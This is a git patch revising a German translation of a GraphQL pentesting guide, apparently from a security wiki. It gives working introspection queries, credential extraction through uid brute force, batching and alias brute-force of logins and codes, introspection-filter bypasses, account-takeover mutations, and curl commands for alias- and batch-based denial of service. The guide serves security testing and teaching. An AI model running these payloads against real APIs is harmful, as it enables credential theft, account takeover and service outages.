From 84bb3bd78809fcc19f2166cda607e3bb7e721c60 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 23 Jul 2025 12:13:11 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/graphql.md'] --- .../pentesting-web/graphql.md | 151 +++++++++++++----- 1 file changed, 108 insertions(+), 43 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 629140fe6..2ad7674d1 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -23,7 +23,7 @@ Um exponierte GraphQL-Instanzen zu identifizieren, wird empfohlen, spezifische P - `/graphql/api` - `/graphql/graphql` -Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend, um die über den Endpunkt zugänglichen Daten zu verstehen. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen hierzu siehe die GraphQL-Dokumentation zur Introspektion: [**GraphQL: Eine Abfragesprache für APIs.**](https://graphql.org/learn/introspection/) +Die Identifizierung offener GraphQL-Instanzen ermöglicht die Untersuchung der unterstützten Abfragen. Dies ist entscheidend für das Verständnis der über den Endpunkt zugänglichen Daten. Das Introspektionssystem von GraphQL erleichtert dies, indem es die Abfragen detailliert, die ein Schema unterstützt. Für weitere Informationen dazu siehe die GraphQL-Dokumentation zur Introspektion: [**GraphQL: Eine Abfragesprache für APIs.**](https://graphql.org/learn/introspection/) ### Fingerabdruck @@ -41,7 +41,7 @@ Graphql unterstützt normalerweise **GET**, **POST** (x-www-form-urlencoded) und #### Introspektion -Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, fragen Sie das Feld `__schema` ab. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar. +Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, abfragen Sie das `__schema`-Feld. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar. ```bash query={__schema{types{name,fields{name}}}} ``` @@ -67,7 +67,7 @@ Es ist interessant zu wissen, ob die **Fehler** angezeigt werden, da sie nützli **Datenbankschema über Introspektion auflisten** -> [!NOTE] +> [!TIP] > Wenn die Introspektion aktiviert ist, aber die obige Abfrage nicht ausgeführt wird, versuchen Sie, die `onOperation`, `onFragment` und `onField` Direktiven aus der Abfrage-Struktur zu entfernen. ```bash #Full introspection query @@ -162,7 +162,7 @@ Inline-Introspektionsanfrage: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -Die letzte Codezeile ist eine GraphQL-Abfrage, die alle Metainformationen aus der GraphQL-Datenbank (Objektnamen, Parameter, Typen...) ausgibt. +Die letzte Codezeile ist eine GraphQL-Abfrage, die alle Metainformationen aus dem GraphQL (Objektnamen, Parameter, Typen...) ausgibt. ![](<../../images/image (363).png>) @@ -176,7 +176,7 @@ In der Introspektion kannst du **sehen, welches Objekt du direkt abfragen kannst ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -Beachte, dass der Typ der Abfrage "_flags_" "_Flags_" ist, und dieses Objekt wie folgt definiert ist: +Beachte, dass der Typ der Abfrage "_flags_" "_Flags_" ist, und dieses Objekt ist wie folgt definiert: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -184,7 +184,7 @@ Du kannst sehen, dass die "_Flags_"-Objekte aus **name** und **value** bestehen. ```javascript query={flags{name, value}} ``` -Beachten Sie, dass Sie im Falle, dass das **Objekt, das abgefragt werden soll**, ein **primitiver** **Typ** wie **string** ist, wie im folgenden Beispiel +Beachten Sie, dass Sie im Falle, dass das **Objekt, das abgefragt werden soll**, ein **primitives** **Typ** wie **string** ist, wie im folgenden Beispiel ![](<../../images/image (958).png>) @@ -192,7 +192,7 @@ einfach abfragen können mit: ```javascript query = { hiddenFlags } ``` -In einem anderen Beispiel, in dem es 2 Objekte im Typ-Objekt "_Query_" gab: "_user_" und "_users_".\ +In einem anderen Beispiel gab es 2 Objekte im "_Query_" Typ Objekt: "_user_" und "_users_".\ Wenn diese Objekte keine Argumente benötigen, um zu suchen, könnte man **alle Informationen von ihnen abrufen**, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren: ![](<../../images/image (880).png>) @@ -201,21 +201,21 @@ Wenn man jedoch in diesem Beispiel versucht, dies zu tun, erhält man diesen **F ![](<../../images/image (1042).png>) -Es scheint, dass es irgendwie mit dem Argument "_**uid**_" vom Typ _**Int**_ suchen wird.\ +Es scheint, dass es irgendwie mit dem "_**uid**_" Argument vom Typ _**Int**_ suchen wird.\ Wie auch immer, das wussten wir bereits, im Abschnitt [Basic Enumeration](graphql.md#basic-enumeration) wurde eine Abfrage vorgeschlagen, die uns alle benötigten Informationen zeigte: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -Wenn du das Bild liest, das ich bereitgestellt habe, wirst du sehen, dass "_**user**_" das **arg** "_**uid**_" vom Typ _Int_ hatte. +Wenn du das Bild liest, das bereitgestellt wurde, als ich diese Abfrage ausgeführt habe, wirst du sehen, dass "_**user**_" das **arg** "_**uid**_" vom Typ _Int_ hatte. Durch einige leichte _**uid**_ Bruteforce fand ich heraus, dass bei _**uid**=**1**_ ein Benutzername und ein Passwort abgerufen wurden:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) -Beachte, dass ich **entdeckte**, dass ich nach den **Parametern** "_**user**_" und "_**password**_" fragen konnte, denn wenn ich versuche, nach etwas zu suchen, das nicht existiert (`query={user(uid:1){noExists}}`), erhalte ich diesen Fehler: +Beachte, dass ich **entdeckt** habe, dass ich nach den **Parametern** "_**user**_" und "_**password**_" fragen konnte, denn wenn ich versuche, nach etwas zu suchen, das nicht existiert (`query={user(uid:1){noExists}}`), erhalte ich diesen Fehler: ![](<../../images/image (707).png>) -Und während der **Enumeration-Phase** entdeckte ich, dass das Objekt "_**dbuser**_" die Felder "_**user**_" und "_**password**_" hatte. +Und während der **Enumeration-Phase** entdeckte ich, dass das "_**dbuser**_" Objekt die Felder "_**user**_" und "_**password**_" hatte. **Query-String-Dump-Trick (danke an @BinaryShadow\_)** @@ -233,7 +233,7 @@ email } } ``` -Sie können Personen **nach** dem **Namen** suchen und ihre **abonnierten** **Filme** erhalten: +Sie können **Personen** **nach** dem **Namen** **suchen** und deren **abonnierte** **Filme** erhalten: ```javascript { searchPerson(name: "John Doe") { @@ -248,9 +248,9 @@ name } } ``` -Beachten Sie, wie angegeben ist, um den `name` der `subscribedMovies` der Person abzurufen. +Beachten Sie, wie angegeben wird, um den `name` der `subscribedMovies` der Person abzurufen. -Sie können auch **mehrere Objekte gleichzeitig suchen**. In diesem Fall wird nach 2 Filmen gesucht: +Sie können auch **mehrere Objekte gleichzeitig suchen**. In diesem Fall wird eine Suche nach 2 Filmen durchgeführt: ```javascript { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { @@ -285,13 +285,13 @@ name **Mutationen werden verwendet, um Änderungen auf der Serverseite vorzunehmen.** -In der **Introspektion** können die **deklarierten** **Mutationen** gefunden werden. Im folgenden Bild wird der "_MutationType_" als "_Mutation_" bezeichnet und das "_Mutation_"-Objekt enthält die Namen der Mutationen (wie "_addPerson_" in diesem Fall): +In der **Introspektion** finden Sie die **deklarierten** **Mutationen**. Im folgenden Bild wird der "_MutationType_" als "_Mutation_" bezeichnet, und das "_Mutation_"-Objekt enthält die Namen der Mutationen (wie "_addPerson_" in diesem Fall): ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt. +In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können miteinander befreundet sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt. -Eine Mutation, um **neue** Filme in der Datenbank zu **erstellen**, könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt): +Eine Mutation zum **Erstellen neuer** Filme in der Datenbank könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -304,7 +304,7 @@ rating ``` **Beachten Sie, wie sowohl die Werte als auch der Datentyp in der Abfrage angegeben sind.** -Zusätzlich unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird, die die Erstellung von **Personen** zusammen mit ihren Assoziationen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden. +Zusätzlich unterstützt die Datenbank eine **Mutation**-Operation, die `addPerson` genannt wird, die die Erstellung von **Personen** zusammen mit ihren Verbindungen zu bestehenden **Freunden** und **Filmen** ermöglicht. Es ist wichtig zu beachten, dass die Freunde und Filme bereits in der Datenbank vorhanden sein müssen, bevor sie mit der neu erstellten Person verknüpft werden. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -334,12 +334,12 @@ releaseYear ``` ### Directive Overloading -Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/) erklärt, bedeutet Directive Overloading, eine Direktive sogar Millionen von Malen aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu machen. +Wie in [**einer der Schwachstellen, die in diesem Bericht beschrieben sind**](https://www.landh.tech/blog/20240304-google-hack-50000/), bedeutet eine Directive Overloading, eine Direktive sogar Millionen von Malen aufzurufen, um den Server dazu zu bringen, Operationen zu verschwenden, bis es möglich ist, ihn DoS zu machen. ### Batching brute-force in 1 API request Diese Informationen stammen von [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Authentifizierung über die GraphQL API mit **gleichzeitigem Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen**, um dies zu überprüfen. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, dank der GraphQL-Batching-Funktion. Dieser Ansatz würde externe Rate-Überwachungsanwendungen dazu bringen zu glauben, dass alles in Ordnung ist und kein Brute-Forcing-Bot versucht, Passwörter zu erraten. +Authentifizierung über die GraphQL API mit **gleichzeitigem Senden vieler Abfragen mit unterschiedlichen Anmeldeinformationen**, um dies zu überprüfen. Es handelt sich um einen klassischen Brute-Force-Angriff, aber jetzt ist es möglich, mehr als ein Login/Passwort-Paar pro HTTP-Anfrage zu senden, dank der GraphQL-Batching-Funktion. Dieser Ansatz würde externe Rate-Überwachungsanwendungen täuschen, indem er denkt, dass alles in Ordnung ist und kein Brute-Forcing-Bot versucht, Passwörter zu erraten. Unten finden Sie die einfachste Demonstration einer Anwendungsauthentifizierungsanfrage, mit **3 verschiedenen E-Mail/Passwort-Paaren gleichzeitig**. Offensichtlich ist es möglich, Tausende in einer einzigen Anfrage auf die gleiche Weise zu senden: @@ -351,15 +351,15 @@ Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dr ## GraphQL Without Introspection -Immer mehr **GraphQL-Endpunkte deaktivieren die Introspektion**. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, sind jedoch ausreichend für Tools wie [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), um den größten Teil des Schemas zu rekonstruieren. +Immer mehr **GraphQL-Endpunkte deaktivieren die Introspektion**. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, sind jedoch ausreichend für Tools wie [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), um den größten Teil des Schemas neu zu erstellen. -Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API-Anfragen, die durch Burp gehen**, und **baut** ein internes GraphQL-**Schema** mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder, die innerhalb der API verfügbar sind. Für weitere Informationen [**überprüfen Sie dies**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API-Anfragen, die durch Burp gehen**, und **baut** ein internes GraphQL-**Schema** mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder an, die innerhalb der API verfügbar sind. Für weitere Informationen [**überprüfen Sie dies**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Eine schöne **Wortliste**, um [**GraphQL-Entitäten zu entdecken, finden Sie hier**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Bypassing GraphQL introspection defences -Um Einschränkungen bei Introspektionsanfragen in APIs zu umgehen, erweist sich das Einfügen eines **Sonderzeichens nach dem `__schema`-Schlüsselwort** als effektiv. Diese Methode nutzt häufige Entwicklerübersichten in Regex-Mustern aus, die darauf abzielen, die Introspektion zu blockieren, indem sie sich auf das `__schema`-Schlüsselwort konzentrieren. Durch das Hinzufügen von Zeichen wie **Leerzeichen, Zeilenumbrüchen und Kommas**, die GraphQL ignoriert, aber möglicherweise nicht in Regex berücksichtigt werden, können Einschränkungen umgangen werden. Zum Beispiel kann eine Introspektionsanfrage mit einem Zeilenumbruch nach `__schema` solche Abwehrmaßnahmen umgehen: +Um Einschränkungen bei Introspektionsanfragen in APIs zu umgehen, erweist sich das Einfügen eines **Sonderzeichens nach dem `__schema`-Schlüsselwort** als effektiv. Diese Methode nutzt häufige Entwicklerübersichten in Regex-Mustern aus, die darauf abzielen, die Introspektion zu blockieren, indem sie sich auf das `__schema`-Schlüsselwort konzentrieren. Durch das Hinzufügen von Zeichen wie **Leerzeichen, Zeilenumbrüchen und Kommas**, die GraphQL ignoriert, aber möglicherweise nicht in Regex berücksichtigt werden, können Einschränkungen umgangen werden. Zum Beispiel kann eine Introspektionsanfrage mit einem Zeilenumbruch nach `__schema` solche Verteidigungen umgehen: ```bash # Example with newline to bypass { @@ -367,7 +367,7 @@ Um Einschränkungen bei Introspektionsanfragen in APIs zu umgehen, erweist sich {queryType{name}}}" } ``` -Wenn nicht erfolgreich, ziehen Sie alternative Anforderungsmethoden in Betracht, wie **GET-Anfragen** oder **POST mit `x-www-form-urlencoded`**, da Einschränkungen möglicherweise nur für POST-Anfragen gelten. +Wenn dies nicht erfolgreich ist, ziehen Sie alternative Anforderungsmethoden in Betracht, wie **GET-Anfragen** oder **POST mit `x-www-form-urlencoded`**, da Einschränkungen möglicherweise nur für POST-Anfragen gelten. ### Versuchen Sie WebSockets @@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg)) ``` ### **Entdecken von Exponierten GraphQL-Strukturen** -Wenn die Introspektion deaktiviert ist, ist das Durchsuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können im `Sources`-Tab der Entwicklertools gefunden werden, was Einblicke in das Schema der API bietet und potenziell **exponierte sensible Abfragen** offenbart. Die Befehle zur Suche innerhalb der Entwicklertools sind: +Wenn die Introspektion deaktiviert ist, ist das Durchsuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können im `Sources`-Tab der Entwicklertools gefunden werden, was Einblicke in das Schema der API bietet und potenziell **exponierte sensible Abfragen** offenbart. Die Befehle zum Suchen innerhalb der Entwicklertools sind: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -427,13 +427,13 @@ Beachten Sie jedoch, dass der neue Standardwert des Cookies für das `samesite`- Es ist zu beachten, dass es normalerweise möglich ist, die **Abfrage** **Anfrage** auch als **GET** **Anfrage** zu senden und das CSRF-Token möglicherweise in einer GET-Anfrage nicht validiert wird. -Außerdem könnte es möglich sein, durch einen [**XS-Search**](../../pentesting-web/xs-search/index.html) **Angriff** Inhalte vom GraphQL-Endpunkt zu exfiltrieren, indem man die Anmeldeinformationen des Benutzers ausnutzt. +Außerdem könnte es möglich sein, durch den Missbrauch eines [**XS-Search**](../../pentesting-web/xs-search/index.html) **Angriffs** Inhalte vom GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren. -Für weitere Informationen **überprüfen Sie** [**den ursprünglichen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). +Für weitere Informationen **überprüfen Sie den** [**ursprünglichen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). -## Cross-Site-WebSocket-Hijacking in GraphQL +## Cross-Site WebSocket-Hijacking in GraphQL -Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site-WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen. +Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen. Für weitere Informationen überprüfen Sie: @@ -445,9 +445,9 @@ Für weitere Informationen überprüfen Sie: Viele GraphQL-Funktionen, die am Endpunkt definiert sind, überprüfen möglicherweise nur die Authentifizierung des Anforderers, jedoch nicht die Autorisierung. -Die Modifizierung von Abfrageeingabevariablen könnte zu sensiblen Kontodetails [leaken](https://hackerone.com/reports/792927). +Das Modifizieren von Abfrageeingabevariablen könnte zu sensiblen Kontodetails [leaken](https://hackerone.com/reports/792927). -Mutation könnte sogar zu einem Account-Übernahmeversuch führen, indem versucht wird, andere Kontodaten zu ändern. +Mutation könnte sogar zu einem Kontoübernahmeversuch führen, indem versucht wird, andere Kontodaten zu ändern. ```javascript { "operationName":"updateProfile", @@ -465,13 +465,13 @@ Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und das ## Umgehung von Ratenlimits mit Aliassen in GraphQL -In GraphQL sind Aliasse eine leistungsstarke Funktion, die es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben. +In GraphQL sind Aliasse eine leistungsstarke Funktion, die es ermöglichen, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben. Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt durchzuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen. +Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit zahlreicher API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen. -Betrachten Sie das unten angegebene Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte die Ratenbegrenzung umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht. +Betrachten Sie das folgende Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die gleichzeitige Überprüfung zahlreicher Rabattcodes ermöglicht. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -490,18 +490,18 @@ valid ### Alias Overloading -**Alias Overloading** ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasen für dasselbe Feld überladen, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einem **Denial of Service (DoS)** führen. Zum Beispiel wird im folgenden Query dasselbe Feld (`expensiveField`) 1.000 Mal mit Aliasen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen, was möglicherweise die CPU oder den Speicher erschöpft: +**Alias Overloading** ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasen für dasselbe Feld überladen, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einer **Denial of Service (DoS)** führen. Zum Beispiel wird im folgenden Query dasselbe Feld (`expensiveField`) 1.000 Mal mit Aliasen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen, was möglicherweise die CPU oder den Speicher erschöpft: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 'https://example.com/graphql' ``` -Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, Abfragekomplexitätsanalysen oder Ratenbegrenzungen, um Ressourcenmissbrauch zu verhindern. +Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, eine Analyse der Abfragekomplexität oder eine Ratenbegrenzung, um den Missbrauch von Ressourcen zu verhindern. ### **Array-basierte Abfrage-Batching** -**Array-basierte Abfrage-Batching** ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem **Denial of Service (DoS)** führen kann. Wenn es keine Begrenzung für die Anzahl der Abfragen in einem Batch gibt, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen. +**Array-basierte Abfrage-Batching** ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem **Denial of Service (DoS)** führen kann. Wenn keine Grenze für die Anzahl der Abfragen in einem Batch besteht, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -513,7 +513,7 @@ In diesem Beispiel werden 10 verschiedene Abfragen in einer Anfrage gebündelt, ### **Directive Overloading Vulnerability** -**Directive Overloading** tritt auf, wenn ein GraphQL-Server Abfragen mit übermäßigen, duplizierten Direktiven zulässt. Dies kann den Parser und Executor des Servers überwältigen, insbesondere 